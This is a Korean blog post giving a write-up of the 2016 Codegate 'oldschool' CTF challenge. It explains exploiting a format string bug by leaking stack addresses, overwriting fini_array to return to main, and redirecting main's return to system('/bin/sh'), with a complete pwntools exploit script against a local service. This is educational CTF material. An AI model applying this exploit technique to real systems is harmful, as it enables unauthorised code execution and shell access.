튜기's blogggg

2016 Codegate oldschool writeup

by St1tch




문제 자체는 간단한 fsb문제인데,  no RELRO이다. fini_array를 overwrite할 수 있다.


원하는 정보를 얻은 후 다시 main함수로 트리거할 때 fini_array 배열을 사용하면 된다.







정적분석과 동적분석을 해보면 스택의 구조는 위 그림과 같다.


나는 저기서 fsboffset 264,267부분을 이용해서 공격을 했다.


fsb offset이 264인 부분을 leak한 후, -24를 하면 ebp값을 알아낼 수 있고,

267인 부분을 leak하면 실제 __libc_start_main으로 돌아가는 ret 주소를 알아 낼 수 있다.

libc가 주어지므로 offset을 바로 gdb로 확인하여, system함수와 '/bin/sh/주소를 알아 낼 수 있었다.


위 과정을 통해 필요한 주소값들을 알아낸 후, dtor영역을 이용해서 다시 main함수의 시작점으로 돌아갔다.

그리고 두번째 실행되는 main함수의 ret부분을 system함수의 주소로 덮었다.

ret의 주소는 gdb를 이용해서, 첫번째 실행 때 알아낸 ebp와의 차이를 통해 쉽게 알아 낼 수 있다.


fsb페이로드 짜기가 너무 귀찮아서 알아봤는데, pwntool라이브러리에 fsbstr_payload라고 있는데 어떻게 쓰는지 모르겠다.(offset부분)

그래서 대충 내가 쓰기편하게 fsb페이로드 짜는함수 만들어서 사용했다.






import stitch
from pwn import *
import sys

fini_array = 0x80496dc
system_offset = 0x3b180
binsh_offset = 0x15f61b
main_ret_offset = 0x1873e
main = 0x0804849b

s = remote('localhost', 9003)
#main trigger , leak main_ret addr , leak ebp addr
#fsb payload1
pay  = 'ZZZZ'   #fsb offset -> 7
pay += 'RETT' + '%267$x'
pay += 'EBPP' + '%264$x'
pay += stitch.fsb(14, {fini_array:main}, 28)
s.sendline(pay)

sleep(1)
tmp = s.recv().strip()
main_ret = int(tmp.split('RETT')[1].strip()[:8], 16)
ebp = int(tmp.split('EBPP')[1].strip()[:8], 16) - 24

#calculate system, binsh addr
offset = main_ret - main_ret_offset
system = offset + system_offset
binsh = offset + binsh_offset
print 'main_ret',hex(main_ret)
print 'ebp',hex(ebp)
print 'system',hex(system)
print 'binsh',hex(binsh)

ebp -= 224
target_system = ebp + 20
target_binsh = ebp + 28
#fsb payload2
pay  = 'ZZZZ'
pay += stitch.fsb(8, {target_system:system, target_binsh:binsh}, 4)

s.sendline(pay)

s.interactive()




블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기